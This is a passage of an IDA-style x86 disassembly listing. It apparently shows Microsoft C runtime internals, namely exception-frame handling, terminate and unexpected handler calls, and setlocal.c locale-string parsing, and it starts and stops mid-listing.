eax jz short loc_42A8E0 mov edx, [ebp+arg_C] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_41F9A0 add esp, 0Ch mov ecx, [ebp+arg_C] cmp dword ptr [ecx+14h], 4 jnz short loc_42A8DE mov edx, [ebp+var_1C] cmp dword ptr [edx], 0 jz short loc_42A8DE mov eax, [ebp+arg_C] add eax, 8 push eax mov ecx, [ebp+var_1C] mov edx, [ecx] push edx call sub_42AAB0 add esp, 8 mov ecx, [ebp+var_1C] mov [ecx], eax loc_42A8DE: ; CODE XREF: sub_42A7A0+11Aj ; sub_42A7A0+122j jmp short loc_42A8E5 ; --------------------------------------------------------------------------- loc_42A8E0: ; CODE XREF: sub_42A7A0+E5j ; sub_42A7A0+F7j call sub_42AC00 loc_42A8E5: ; CODE XREF: sub_42A7A0:loc_42A8DEj jmp loc_42A9F3 ; --------------------------------------------------------------------------- loc_42A8EA: ; CODE XREF: sub_42A7A0+D0j mov edx, [ebp+arg_C] cmp dword ptr [edx+18h], 0 jnz short loc_42A950 push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call loc_4306F0 add esp, 8 test eax, eax jz short loc_42A946 push 1 mov edx, [ebp+var_1C] push edx call loc_430720 add esp, 8 test eax, eax jz short loc_42A946 mov eax, [ebp+arg_C] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_42AAB0 add esp, 8 push eax mov edx, [ebp+var_1C] push edx call sub_41F9A0 add esp, 0Ch jmp short loc_42A94B ; --------------------------------------------------------------------------- loc_42A946: ; CODE XREF: sub_42A7A0+166j ; sub_42A7A0+178j call sub_42AC00 loc_42A94B: ; CODE XREF: sub_42A7A0+1A4j jmp loc_42A9F3 ; --------------------------------------------------------------------------- loc_42A950: ; CODE XREF: sub_42A7A0+151j push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call loc_4306F0 add esp, 8 test eax, eax jz loc_42A9EE push 1 mov edx, [ebp+var_1C] push edx call loc_430720 add esp, 8 test eax, eax jz short loc_42A9EE mov eax, [ebp+arg_C] mov ecx, [eax+18h] push ecx call loc_430750 add esp, 4 test eax, eax jz short loc_42A9EE mov edx, [ebp+arg_C] mov eax, [edx] and eax, 4 test eax, eax jz short loc_42A9C5 push 1 mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42AAB0 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_41F510 jmp short loc_42A9EC ; --------------------------------------------------------------------------- loc_42A9C5: ; CODE XREF: sub_42A7A0+1F8j mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42AAB0 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_41F500 loc_42A9EC: ; CODE XREF: sub_42A7A0+223j jmp short loc_42A9F3 ; --------------------------------------------------------------------------- loc_42A9EE: ; CODE XREF: sub_42A7A0+1C3j ; sub_42A7A0+1D9j ... call sub_42AC00 loc_42A9F3: ; CODE XREF: sub_42A7A0:loc_42A861j ; sub_42A7A0:loc_42A8E5j ... mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42AA0A ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_42AB50 loc_42AA0A: ; CODE XREF: sub_42A7A0:loc_42A7E6j ; sub_42A7A0+25Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42A7A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AA20 proc near ; CODE XREF: sub_429F90+252p ; sub_42A6DD+55p var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43A1F8 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp cmp [ebp+arg_0], 0 jz short loc_42AA95 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp dword ptr [ecx+4], 0 jz short loc_42AA95 mov [ebp+var_4], 0 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_41F4F0 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42AA95 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_4] and eax, 0FFh neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_42AB50 loc_42AA95: ; CODE XREF: sub_42AA20+2Aj ; sub_42AA20+36j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42AA20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AAB0 proc near ; CODE XREF: sub_42A7A0+ADp ; sub_42A7A0+131p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jl short loc_42AAEF mov eax, [ebp+arg_4] mov ecx, [eax+4] mov edx, [ebp+arg_0] mov eax, [edx+ecx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] mov ecx, [ebp+var_4] add ecx, [eax+edx] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] add eax, [edx+4] mov [ebp+var_4], eax loc_42AAEF: ; CODE XREF: sub_42AAB0+16j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42AAB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AB00 proc near ; CODE XREF: sub_41F5F0+4Dp ; sub_42A410+8Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41F95D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42AB3F mov ecx, 2 loc_42AB3F: ; CODE XREF: sub_42AB00+38j push ecx call sub_41F95D pop ebp pop ecx pop ebx leave retn 0Ch sub_42AB00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AB50 proc near ; CODE XREF: sub_429F90:loc_42A223p ; sub_42A510:loc_42A531p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042ABC4 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43A208 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 call sub_425C30 cmp dword ptr [eax+60h], 0 jz short loc_42ABB0 mov [ebp+var_4], 1 call sub_425C30 call dword ptr [eax+60h] mov [ebp+var_4], 0 jmp short loc_42ABB0 ; --------------------------------------------------------------------------- loc_42ABA0: ; DATA XREF: seg001:0043A218o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_42ABA6: ; DATA XREF: seg001:0043A21Co mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_42ABB0: ; CODE XREF: sub_42AB50+36j ; sub_42AB50+4Ej mov [ebp+var_4], 0FFFFFFFFh call sub_42ABBE jmp short loc_42ABC4 sub_42AB50 endp ; =============== S U B R O U T I N E ======================================= sub_42ABBE proc near ; CODE XREF: sub_42AB50+67p ; DATA XREF: seg001:0043A210o call sub_430780 retn sub_42ABBE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB50 loc_42ABC4: ; CODE XREF: sub_42AB50+6Cj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42AB50 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_425C30 cmp dword ptr [eax+64h], 0 jz short loc_42ABF6 call sub_425C30 call dword ptr [eax+64h] loc_42ABF6: ; CODE XREF: seg000:0042ABECj call sub_42AB50 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AC00 proc near ; CODE XREF: sub_41F800+23p ; sub_41F800:loc_41F86Dp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042AC70 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43A220 push offset sub_42CA04 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 cmp ds:off_450420, 0 jz short loc_42AC5C mov [ebp+var_4], 1 call ds:off_450420 mov [ebp+var_4], 0 jmp short loc_42AC5C ; --------------------------------------------------------------------------- loc_42AC4C: ; DATA XREF: seg001:0043A230o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_42AC52: ; DATA XREF: seg001:0043A234o mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_42AC5C: ; CODE XREF: sub_42AC00+34j ; sub_42AC00+4Aj mov [ebp+var_4], 0FFFFFFFFh call sub_42AC6A jmp short loc_42AC70 sub_42AC00 endp ; =============== S U B R O U T I N E ======================================= sub_42AC6A proc near ; CODE XREF: sub_42AC00+63p ; DATA XREF: seg001:0043A228o call sub_42AB50 retn sub_42AC6A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AC00 loc_42AC70: ; CODE XREF: sub_42AC00+68j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42AC00 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0B0h cmp dword ptr [ebp+8], 0 jl short loc_42ACA5 cmp dword ptr [ebp+8], 5 jle short loc_42ACAC loc_42ACA5: ; CODE XREF: seg000:0042AC9Dj xor eax, eax jmp loc_42B07B ; --------------------------------------------------------------------------- loc_42ACAC: ; CODE XREF: seg000:0042ACA3j push 13h call sub_421A80 add esp, 4 mov dword ptr [ebp-4], 1 mov eax, ds:dword_4EED10 add eax, 1 mov ds:dword_4EED10, eax loc_42ACCA: ; CODE XREF: seg000:0042ACDBj cmp ds:dword_4EED14, 0 jz short loc_42ACDD push 1 call ds:dword_4F12F4 ; Sleep jmp short loc_42ACCA ; --------------------------------------------------------------------------- loc_42ACDD: ; CODE XREF: seg000:0042ACD1j cmp dword ptr [ebp+8], 0 jz short loc_42AD21 cmp dword ptr [ebp+0Ch], 0 jz short loc_42AD01 mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_42B080 add esp, 8 mov [ebp-0A8h], eax jmp short loc_42AD13 ; --------------------------------------------------------------------------- loc_42AD01: ; CODE XREF: seg000:0042ACE7j mov eax, [ebp+8] imul eax, 0Ch mov ecx, ds:dword_450534[eax] mov [ebp-0A8h], ecx loc_42AD13: ; CODE XREF: seg000:0042ACFFj mov edx, [ebp-0A8h] mov [ebp-8], edx jmp loc_42B05B ; --------------------------------------------------------------------------- loc_42AD21: ; CODE XREF: seg000:0042ACE1j mov dword ptr [ebp-14h], 1 mov dword ptr [ebp-0Ch], 0 cmp dword ptr [ebp+0Ch], 0 jz loc_42B053 mov eax, [ebp+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 4Ch jnz loc_42AF64 mov edx, [ebp+0Ch] movsx eax, byte ptr [edx+1] cmp eax, 43h jnz loc_42AF64 mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+2] cmp edx, 5Fh jnz loc_42AF64 mov eax, [ebp+0Ch] mov [ebp-9Ch], eax loc_42AD71: ; CODE XREF: seg000:0042AF33j push offset asc_43A27C ; "=;" mov ecx, [ebp-9Ch] push ecx call sub_431CA0 add esp, 8 mov [ebp-0A0h], eax cmp dword ptr [ebp-0A0h], 0 jz short loc_42ADBD mov edx, [ebp-0A0h] sub edx, [ebp-9Ch] mov [ebp-0A4h], edx cmp dword ptr [ebp-0A4h], 0 jz short loc_42ADBD mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jnz short loc_42ADE3 loc_42ADBD: ; CODE XREF: seg000:0042AD92j ; seg000:0042ADADj cmp dword ptr [ebp-4], 0 jz short loc_42ADDC push 13h call sub_421B20 add esp, 4 mov edx, ds:dword_4EED10 sub edx, 1 mov ds:dword_4EED10, edx loc_42ADDC: ; CODE XREF: seg000:0042ADC1j xor eax, eax jmp loc_42B07B ; --------------------------------------------------------------------------- loc_42ADE3: ; CODE XREF: seg000:0042ADBBj mov dword ptr [ebp-10h], 1 jmp short loc_42ADF5 ; --------------------------------------------------------------------------- loc_42ADEC: ; CODE XREF: seg000:loc_42AE41j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_42ADF5: ; CODE XREF: seg000:0042ADEAj cmp dword ptr [ebp-10h], 5 jg short loc_42AE43 mov ecx, [ebp-0A4h] push ecx mov edx, [ebp-9Ch] push edx mov eax, [ebp-10h] imul eax, 0Ch mov ecx, ds:off_450530[eax] push ecx call sub_41E510 add esp, 0Ch test eax, eax jnz short loc_42AE41 mov edx, [ebp-10h] imul edx, 0Ch mov eax, ds:off_450530[edx] push eax call sub_41AC70 add esp, 4 cmp [ebp-0A4h], eax jnz short loc_42AE41 jmp short loc_42AE43 ; --------------------------------------------------------------------------- loc_42AE41: ; CODE XREF: seg000:0042AE20j ; seg000:0042AE3Dj jmp short loc_42ADEC ; --------------------------------------------------------------------------- loc_42AE43: ; CODE XREF: seg000:0042ADF9j ; seg000:0042AE3Fj push offset asc_43A278 ; ";" mov ecx, [ebp-0A0h] add ecx, 1 mov [ebp-0A0h], ecx mov edx, [ebp-0A0h] push edx call sub_431C60 add esp, 8 mov [ebp-0A4h], eax cmp dword ptr [ebp-0A4h], 0 jnz short loc_42AEA9 mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jz short loc_42AEA9 cmp dword ptr [ebp-4], 0 jz short loc_42AEA2 push 13h call sub_421B20 add esp, 4 mov edx, ds:dword_4EED10 sub edx, 1 mov ds:dword_4EED10, edx loc_42AEA2: ; CODE XREF: seg000:0042AE87j xor eax, eax jmp loc_42B07B ; --------------------------------------------------------------------------- loc_42AEA9: ; CODE XREF: seg000:0042AE73j ; seg000:0042AE81j cmp dword ptr [ebp-10h], 5 jg short loc_42AEFA mov eax, [ebp-0A4h] push eax mov ecx, [ebp-0A0h] push ecx lea edx, [ebp-98h] push edx call sub_41D800 add esp, 0Ch mov eax, [ebp-0A4h] mov byte ptr [ebp+eax-98h], 0 lea ecx, [ebp-98h] push ecx mov edx, [ebp-10h] push edx call sub_42B080 add esp, 8 test eax, eax jz short loc_42AEFA mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_42AEFA: ; CODE XREF: seg000:0042AEADj ; seg000:0042AEEFj mov ecx, [ebp-0A0h] add ecx, [ebp-0A4h] mov [ebp-9Ch], ecx mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jz short loc_42AF28 mov ecx, [ebp-9Ch] add ecx, 1 mov [ebp-9Ch], ecx loc_42AF28: ; CODE XREF: seg000:0042AF17j mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jnz loc_42AD71 cmp dword ptr [ebp-0Ch], 0 jz short loc_42AF4C call sub_42B220 mov [ebp-0ACh], eax jmp short loc_42AF56 ; --------------------------------------------------------------------------- loc_42AF4C: ; CODE XREF: seg000:0042AF3Dj mov dword ptr [ebp-0ACh], 0 loc_42AF56: ; CODE XREF: seg000:0042AF4Aj mov ecx, [ebp-0ACh] mov [ebp-8], ecx jmp loc_42B051 ; --------------------------------------------------------------------------- loc_42AF64: ; CODE XREF: seg000:0042AD42j ; seg000:0042AD52j ... mov edx, [ebp+8] push edx push 0 push 0 lea eax, [ebp-98h] push eax mov ecx, [ebp+0Ch] push ecx call sub_42B320 add esp, 14h mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_42B051 mov dword ptr [ebp-10h], 0 jmp short loc_42AF9E ; --------------------------------------------------------------------------- loc_42AF95: ; CODE XREF: seg000:loc_42AFFEj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42AF9E: ; CODE XREF: seg000:0042AF93j cmp dword ptr [ebp-10h], 5 jg short loc_42B000 cmp dword ptr [ebp-10h], 0 jz short loc_42AFFE mov eax, [ebp-10h] imul eax, 0Ch mov ecx, ds:dword_450534[eax] push ecx lea edx, [ebp-98h] push edx call sub_41D900 add esp, 8 test eax, eax jz short loc_42AFF5 lea eax, [ebp-98h] push eax mov ecx, [ebp-10h] push ecx call sub_42B080 add esp, 8 test eax, eax jz short loc_42AFEC mov edx, [ebp-0Ch] add edx, 1 mov [ebp-0Ch], edx jmp short loc_42AFF3 ; --------------------------------------------------------------------------- loc_42AFEC: ; CODE XREF: seg000:0042AFDFj mov dword ptr [ebp-14h], 0 loc_42AFF3: ; CODE XREF: seg000:0042AFEAj jmp short loc_42AFFE ; --------------------------------------------------------------------------- loc_42AFF5: ; CODE XREF: seg000:0042AFC8j mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_42AFFE: ; CODE XREF: seg000:0042AFA8j ; seg000:loc_42AFF3j jmp short loc_42AF95 ; --------------------------------------------------------------------------- loc_42B000: ; CODE XREF: seg000:0042AFA2j cmp dword ptr [ebp-14h], 0 jz short loc_42B02B call sub_42B220 mov [ebp-8], eax push 2 mov ecx, ds:dword_450534 push ecx call sub_41B8F0 add esp, 8 mov ds:dword_450534, 0 jmp short loc_42B051 ; --------------------------------------------------------------------------- loc_42B02B: ; CODE XREF: seg000:0042B004j cmp dword ptr [ebp-0Ch], 0 jz short loc_42B03E call sub_42B220 mov [ebp-0B0h], eax jmp short loc_42B048 ; --------------------------------------------------------------------------- loc_42B03E: ; CODE XREF: seg000:0042B02Fj mov dword ptr [ebp-0B0h], 0 loc_42B048: ; CODE XREF: seg000:0042B03Cj mov edx, [ebp-0B0h] mov [ebp-8], edx loc_42B051: ; CODE XREF: seg000:0042AF5Fj ; seg000:0042AF86j ... jmp short loc_42B05B ; --------------------------------------------------------------------------- loc_42B053: ; CODE XREF: seg000:0042AD33j call sub_42B220 mov [ebp-8], eax loc_42B05B: ; CODE XREF: seg000:0042AD1Cj ; seg000:loc_42B051j cmp dword ptr [ebp-4], 0 jz short loc_42B078 push 13h call sub_421B20 add esp, 4 mov eax, ds:dword_4EED10 sub eax, 1 mov ds:dword_4EED10, eax loc_42B078: ; CODE XREF: seg000:0042B05Fj mov eax, [ebp-8] loc_42B07B: ; CODE XREF: seg000:0042ACA7j ; seg000:0042ADDEj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B080 proc near ; CODE XREF: seg000:0042ACF1p ; seg000:0042AEE5p ... var_A8 = dword ptr -0A8h var_A0 = dword ptr -0A0h var_9C = byte ptr -9Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_A0] push ecx lea edx, [ebp+var_A8] push edx lea eax, [ebp+var_9C] push eax mov ecx, [ebp+arg_4] push ecx call sub_42B320 add esp, 14h test eax, eax jnz short loc_42B0B9 xor eax, eax jmp loc_42B20F ; --------------------------------------------------------------------------- loc_42B0B9: ; CODE XREF: sub_42B080+30j push 132h push offset aSetlocal_c ; "setlocal.c" push 2 lea edx, [ebp+var_9C] push edx call sub_41AC70 add esp, 4 add eax, 1 push eax call sub_41AE60 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42B0F0 xor eax, eax jmp loc_42B20F ; --------------------------------------------------------------------------- loc_42B0F0: ; CODE XREF: sub_42B080+67j mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, ds:dword_450534[eax] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, ds:dword_4EEA68[edx*4] mov [ebp+var_4], eax push 6 mov ecx, [ebp+arg_0] imul ecx, 6 add ecx, offset dword_4EEC9C push ecx lea edx, [ebp+var_14] push edx call sub_41E840 add esp, 0Ch mov eax, ds:dword_4EEA80 mov [ebp+var_18], eax lea ecx, [ebp+var_9C] push ecx mov edx, [ebp+var_8] push edx call sub_41E550 add esp, 8 mov ecx, [ebp+arg_0] imul ecx, 0Ch mov ds:dword_450534[ecx], eax mov edx, [ebp+var_A8] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ds:dword_4EEA68[eax*4], edx push 6 lea ecx, [ebp+var_A8] push ecx mov edx, [ebp+arg_0] imul edx, 6 add edx, offset dword_4EEC9C push edx call sub_41E840 add esp, 0Ch cmp [ebp+arg_0], 2 jnz short loc_42B193 mov eax, [ebp+var_A0] mov ds:dword_4EEA80, eax loc_42B193: ; CODE XREF: sub_42B080+106j cmp [ebp+arg_0], 1 jnz short loc_42B1A5 mov ecx, [ebp+var_A0] mov ds:dword_4EEA84, ecx loc_42B1A5: ; CODE XREF: sub_42B080+117j mov edx, [ebp+arg_0] imul edx, 0Ch call ds:off_450538[edx] test eax, eax jz short loc_42B1EC mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, [ebp+var_C] mov ds:dword_450534[eax], ecx push 2 mov edx, [ebp+var_8] push edx call sub_41B8F0 add esp, 8 mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov ds:dword_4EEA68[eax*4], ecx mov edx, [ebp+var_18] mov ds:dword_4EEA80, edx xor eax, eax jmp short loc_42B20F ; --------------------------------------------------------------------------- loc_42B1EC: ; CODE XREF: sub_42B080+133j cmp [ebp+var_C], offset dword_450424 jz short loc_42B203 push 2 mov eax, [ebp+var_C] push eax call sub_41B8F0 add esp, 8 loc_42B203: ; CODE XREF: sub_42B080+173j mov ecx, [ebp+arg_0] imul ecx, 0Ch mov eax, ds:dword_450534[ecx] loc_42B20F: ; CODE XREF: sub_42B080+34j ; sub_42B080+6Bj ... mov esp, ebp pop ebp retn sub_42B080 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B220 proc near ; CODE XREF: seg000:0042AF3Fp ; seg000:0042B006p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 1 cmp ds:dword_450534, 0 jnz short loc_42B254 push 167h push offset aSetlocal_c ; "setlocal.c" push 2 push 351h call sub_41AE60 add esp, 10h mov ds:dword_450534, eax loc_42B254: ; CODE XREF: sub_42B220+14j mov eax, ds:dword_450534 mov byte ptr [eax], 0 mov [ebp+var_4], 1 jmp short loc_42B26E ; --------------------------------------------------------------------------- loc_42B265: ; CODE XREF: sub_42B220:loc_42B317j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42B26E: ; CODE XREF: sub_42B220+43j mov edx, [ebp+var_4] imul edx, 0Ch mov eax, ds:dword_450534[edx] push eax push offset asc_43A28C ; "=" mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, ds:off_450530[ecx] push edx push 3 mov eax, ds:dword_450534 push eax call sub_42B4C0 add esp, 14h cmp [ebp+var_4], 5 jge short loc_42B2E9 push offset asc_43A278 ; ";" mov ecx, ds:dword_450534 push ecx call sub_41E560 add esp, 8 mov edx, [ebp+var_4] add edx, 1 imul edx, 0Ch mov eax, ds:dword_450534[edx] push eax mov ecx, [ebp+var_4] imul ecx, 0Ch mov edx, ds:dword_450534[ecx] push edx call sub_41D900 add esp, 8 test eax, eax jz short loc_42B2E7 mov [ebp+var_8], 0 loc_42B2E7: ; CODE XREF: sub_42B220+BEj jmp short loc_42B317 ; --------------------------------------------------------------------------- loc_42B2E9: ; CODE XREF: sub_42B220+81j cmp [ebp+var_8], 0 jnz short loc_42B2F6 mov eax, ds:dword_450534 jmp short loc_42B31C ; --------------------------------------------------------------------------- loc_42B2F6: ; CODE XREF: sub_42B220+CDj push 2 mov eax, ds:dword_450534 push eax call sub_41B8F0 add esp, 8 mov ds:dword_450534, 0 mov eax, ds:off_45054C jmp short loc_42B31C ; --------------------------------------------------------------------------- loc_42B317: ; CODE XREF: sub_42B220:loc_42B2E7j jmp loc_42B265 ; --------------------------------------------------------------------------- loc_42B31C: ; CODE XREF: sub_42B220+D4j ; sub_42B220+F5j mov esp, ebp pop ebp retn sub_42B220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B320 proc near ; CODE XREF: seg000:0042AF77p ; sub_42B080+26p var_88 = byte ptr -88h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 88h cmp [ebp+arg_0], 0 jnz short loc_42B336 xor eax, eax jmp loc_42B4A0 ; --------------------------------------------------------------------------- loc_42B336: ; CODE XREF: sub_42B320+Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 43h jnz short loc_42B390 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+1] test eax, eax jnz short loc_42B390 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 43h mov edx, [ebp+arg_4] mov byte ptr [edx+1], 0 cmp [ebp+arg_8], 0 jz short loc_42B379 mov eax, [ebp+arg_8] mov word ptr [eax], 0 mov ecx, [ebp+arg_8] mov word ptr [ecx+2], 0 mov edx, [ebp+arg_8] mov word ptr [edx+4], 0 loc_42B379: ; CODE XREF: sub_42B320+3Dj cmp [ebp+arg_C], 0 jz short loc_42B388 mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_42B388: ; CODE XREF: sub_42B320+5Dj mov eax, [ebp+arg_4] jmp loc_42B4A0 ; --------------------------------------------------------------------------- loc_42B390: ; CODE XREF: sub_42B320+1Fj ; sub_42B320+2Aj mov ecx, [ebp+arg_0] push ecx push offset dword_4504AC call sub_41D900 add esp, 8 test eax, eax jz loc_42B458 mov edx, [ebp+arg_0] push edx push offset dword_450428 call sub_41D900 add esp, 8 test eax, eax jz loc_42B458 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_88] push ecx call sub_42B510 add esp, 8 test eax, eax jz short loc_42B3E0 xor eax, eax jmp loc_42B4A0 ; --------------------------------------------------------------------------- loc_42B3E0: ; CODE XREF: sub_42B320+B7j lea edx, [ebp+var_88] push edx push offset dword_4EEA5C lea eax, [ebp+var_88] push eax call loc_431CE0 add esp, 0Ch test eax, eax jnz short loc_42B406 xor eax, eax jmp loc_42B4A0 ; --------------------------------------------------------------------------- loc_42B406: ; CODE XREF: sub_42B320+DDj xor ecx, ecx mov cx, ds:word_4EEA60 mov ds:dword_4EEA64, ecx lea edx, [ebp+var_88] push edx push offset dword_4504AC call sub_42B670 add esp, 8 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42B446 mov edx, [ebp+arg_0] push edx push offset dword_450428 call sub_41E550 add esp, 8 jmp short loc_42B458 ; --------------------------------------------------------------------------- loc_42B446: ; CODE XREF: sub_42B320+111j push offset dword_4504AC push offset dword_450428 call sub_41E550 add esp, 8 loc_42B458: ; CODE XREF: sub_42B320+83j ; sub_42B320+9Cj ... cmp [ebp+arg_8], 0 jz short loc_42B471 push 6 push offset dword_4EEA5C mov eax, [ebp+arg_8] push eax call sub_41E840 add esp, 0Ch loc_42B471: ; CODE XREF: sub_42B320+13Cj cmp [ebp+arg_C], 0 jz short loc_42B48A push 4 push offset dword_4EEA64 mov ecx, [ebp+arg_C] push ecx call sub_41E840 add esp, 0Ch loc_42B48A: ; CODE XREF: sub_42B320+155j push offset dword_4504AC mov edx, [ebp+arg_4] push edx call sub_41E550 add esp, 8 mov eax, offset dword_4504AC loc_42B4A0: ; CODE XREF: sub_42B320+11j ; sub_42B320+6Bj ... mov esp, ebp pop ebp retn sub_42B320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B4B0 proc near ; CODE XREF: sub_42B080+12Bp ; DATA XREF: seg002:off_450538o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42B4B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B4C0 proc near ; CODE XREF: sub_42B220+75p ; sub_42B670+30p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push 